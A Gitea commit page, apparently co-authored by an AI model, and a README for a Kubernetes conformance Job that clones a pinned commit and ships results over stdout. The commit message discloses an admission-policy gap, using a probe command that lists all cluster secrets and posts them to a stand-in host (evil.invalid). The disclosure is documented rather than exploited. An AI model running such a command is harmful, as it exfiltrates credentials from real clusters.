0 Fork 0

Files

T

jakman85andClaude Opus 5 b1c99e51bb feat(conformance): the in-cluster Job can now run a named commit and get its results out

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

2026-09-29 22:49:44 -05:00

chainsaw-job.yaml

feat(conformance): the in-cluster Job can now run a named commit and get its results out

2026-09-29 22:49:44 -05:00

kustomization.yaml

feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)

2026-09-29 03:22:41 -05:00

rbac.yaml

feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)

2026-09-29 03:22:41 -05:00

README.md

feat(conformance): the in-cluster Job can now run a named commit and get its results out

2026-09-29 22:49:44 -05:00

README.md

In-cluster conformance Job (L2/L3)

STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below. This document speaks as though no cluster exists and the platform is scaffolding. A three-node k3s cluster has existed for weeks and Flux has been reconciling against it. Gitea is live, the Actions runner incluster-dind is online, and main is a protected branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as describing a live gap rather than an expected stage — most importantly, L2/L3 conformance still does not run in CI (vars.CLUSTER_AVAILABLE is unset), which is a real coverage hole, not a phase.

This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on documentation rather than measurement, and main was unprotected with zero runners registered the whole time. Query the live API before asserting platform state.

Per ADR-0011 and docs/14 "Where each layer runs": L0/L1 run in CI without a cluster, but L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job on the dev/test cluster that CI triggers and waits for. CI holds no cluster credentials — the Job's own scoped ServiceAccount does (R-SEC-02).

Files

rbac.yaml — the conformance namespace, the conformance-runner ServiceAccount, and a least-privilege ClusterRole skeleton. Rules start empty and are added — each commented with the test/requirement that needs it — only as the matching fault-injection test lands. This is a privileged test identity: never reused by workloads, its own audit item.
chainsaw-job.yaml — the run template (not reconciled; the trigger renders it per run). Single entrypoint ./run.sh; a git-clone init container delivers the suite at the commit under test; artifacts leave over stdout. Its header is the authority on the substitution tokens, the admission constraints it satisfies, and an open security gap in the admission policy that it documents and does not exploit — read it before editing either file.

Flow

CI (Gitea Actions) renders chainsaw-job.yaml — two @@TOKEN@@ substitutions, the runner image digest and the commit SHA — replaces args with the invocation shape, and creates the Job under the narrow conformance-trigger identity (create/get jobs, get pods + pods/log — not a broad kubeconfig, and deliberately no pods/exec).
Admission (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
The init container shallow-clones the repo into /workspace/src, fetches the commit if the shallow tip does not already contain it, detaches onto it, and asserts HEAD equals the requested SHA — the suite runs at the commit under test or not at all. The read-only Gitea credential reaches git as env vars from secretKeyRef (secret conformance-git-readonly, keys username/token), never as a volume: admission allows no volume but workspace and results.
The runner executes ./run.sh under conformance-runner, writing report.junit.xml + coverage/ to the results volume at /results (CONF_ARTIFACTS).
On exit — green, red or aborted — run.sh prints a delimited base64 tar of that tree to stdout, carrying bytes, lines and sha256 in both the BEGIN and END markers. CI decodes it from kubectl logs and must make all five completeness checks listed above conf_emit_artifacts_tgz() in ../run.sh; a partial log then fails collection instead of decoding to plausible garbage.

Operator prerequisites (out of GitOps — neither exists yet)

Secret conformance-git-readonly in namespace conformance, keys username and token: a read-only Gitea token for this repository. Never a write token or a push-capable deploy key.
The conformance-runner image built and pushed (plan §5 step 1); its digest is what the trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and a uid 65532 non-root user, which the Job's runAsUser/fsGroup pin.

Phase 0

No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux from Phase 1+ and first exercised when L2/L3 can run (T-3.0 onward). In Phase 0 the same run.sh runs in CI's no-cluster stage and emits a skipped JUnit + the coverage report.